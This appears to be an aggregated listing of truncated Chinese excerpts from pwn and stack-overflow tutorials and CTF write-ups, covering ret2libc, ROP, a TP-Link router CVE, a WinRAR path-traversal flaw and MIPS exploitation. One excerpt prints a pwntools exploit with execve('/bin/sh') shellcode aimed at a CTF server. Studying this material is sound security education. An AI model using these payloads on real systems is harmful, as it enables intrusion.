本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路和心得记录了一下,希望能给入门pwn的朋友带来点帮助和启发,大牛轻喷 题目链接:https://www.jarvisoj.com/challenges1.level0(64位)代码<ignore_js_op><ignore_js_op> 也就是输出Hello World以后接收一个输出

WinRAR可能是目前全球用户最多的解压缩软件,近日安全团队发现并公布了WinRAR中存在长达19年的严重安全漏洞,这意味着有可能超过5亿用户面临安全风险. 该漏洞存在于所有WinRAR版本中包含的UNACEV2.DLL库中,该库负责以ACE格式解压缩档案,而自2005年起WinRAR已经停止更新UNACEV2.DLL,并决定放弃ACE归档格式支持. 研究人员在其中发现了一个路径遍历漏洞,可以把被压缩文件的文件提取到任意文件夹.攻击者通过利用恶意ACE档案伪装成RAR文件,用户在解压恶意的压缩文

作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42241-1-1.html 0×00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面上的函数进入与返回.首先我们用一个简单执行一次回显输入的程序hello开始.用IDA加载hello,定位到main函数后我们发现这个程序的逻辑十分简单,调用函数hello获取输入,然后输出“hello,”加上输入的名字后退出.使用F5看反汇编后的C代码可以非常方便的看懂逻辑. 我们选中

准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序, 因为正常情况下是无法在程序中找到像 system() .execve() 这种系统级函数 (如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式). 因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时

栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: ​ gef➤ b main Breakpoint at . gef➤ r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef➤ vmmap ROPgadget ROPgadget --binary rop --only 'pop|ret' | grep 'eax' ROPgadget

这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux Pwn入门教程第一章:环境配置 更多Pwn视频课程:https://www.ichunqiu.com/courses/pwn?from=weixin 本系列教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docke

前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固件链接:http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip 之前使用 firmadyn 可以正常模拟运行,但是调试不了,就没有仔细看这个漏洞.今天突然想起 他会启动一个 ssh 服务,那我们是不是就可以通过ssh

目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的时候,经常会听到老师说输入的时候要注意大小,不要超过数组大小否则会造成缓冲区溢出导致程序崩溃的. 当时就觉得溢出就溢出咯,崩溃就崩溃咯,难不成还能导致电脑被攻击吗?就偏偏不控制输入长度. 写bug 先让我们来写个bug体验一下,下面这段程序要求用户输入字符串并且把数据给buffer数组,如果超过12

前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为例,在实战 MIPS 架构中栈溢出的简单利用. 正文 去github上面把 DVRF 下载下来,然后用 binwalk 解开 在 pwnable 目录下就是相应的示例程序 在解开的文件系统的根目录下使用 chroot 和 qemu 运行 程序: sudo chroot . ./qemu-mipsel

一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内 二.函数调用栈实例说明 首先我们来看看以下程序调用栈的过程: int sum(int a,int b) { ; temp = a+b; return temp; } int main() { ; ; ; ret = sum(a,b); cout<<

文章目录 一.ret2text 二.ret2shellcode 一.ret2text 例行检查,64位程序,没有开启任何保护 本地运行一下情况,看看大概的情况 64位ida载入,检索程序里的字符串发现了bin/sh 要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system('/bin/sh') 看main函数 第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system('/bin/sh')的地址即可 from pwn import * #p=proce

一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAq

80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19 buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8

当程序开启了nx,但程序有syscall调用的时候.这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pwn的心得. ida配合gdb定位程序漏洞如下: signed __int64 __fastcall sub_40108E(__int64 a1) { signed __int64 result; // rax@3 __int64 v2; // rdx@4 int v3; // [sp+10h] [b

两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起 在这两道中体现的32位和64位的主要区别在于函数参数传递的方式 在32位程序运行中,函数参数直接压入栈中 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1 在64位程序运行中,参数传递需要寄存器 64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中 参数超过六个时,从第七个开始压入栈中 Level2_x64   和3

0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可执行 ASLR:内存地址随机化,在linux和pie相结合,aslr是系统是否开启,有0.1.2三个等级,而pie是程序自身是否开启,两者共同作用有不同的效果,如下图. Canary(GS):栈保护,栈被溢出时,会触发异常 RELRO:GOT不可更改 0x02 栈溢出 额外说一句,gcc如何对各种保

whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开vuln: 进入80485CB函数: 这里s给的空间是48但是输入是直到换行停止,这里就存在了栈溢出.但是这道题目开了CANARY,所以不能直接覆盖到返回地址.注意到这题,s的空间下面就是v5,而v5是控制写到s的位置,所以可以通过覆盖v5到返回地址而绕过修改那段Cookie,在不开sandbox的

刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell. 首先拿到题目用ida去查看: 题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的

本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得. 用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter 首先,在填充字符为10000和20000时,异常被捕捉到 在填充字符为30000时,程序崩溃 查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)

作者:Tangerine@SAINTSEC 本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解答,望见谅如有关于该系列教程的疑问建议联系论坛的原作者ID:Tangerine 0x00 got表.plt表与延迟绑定 在之前的章节中,我们无数次提到过got表和plt表这两个结构.这两个表有什么不同?为什么调用函数要经过这两个表?ret2dl-resolve与这些内容又有什么关系呢?本节我们将通过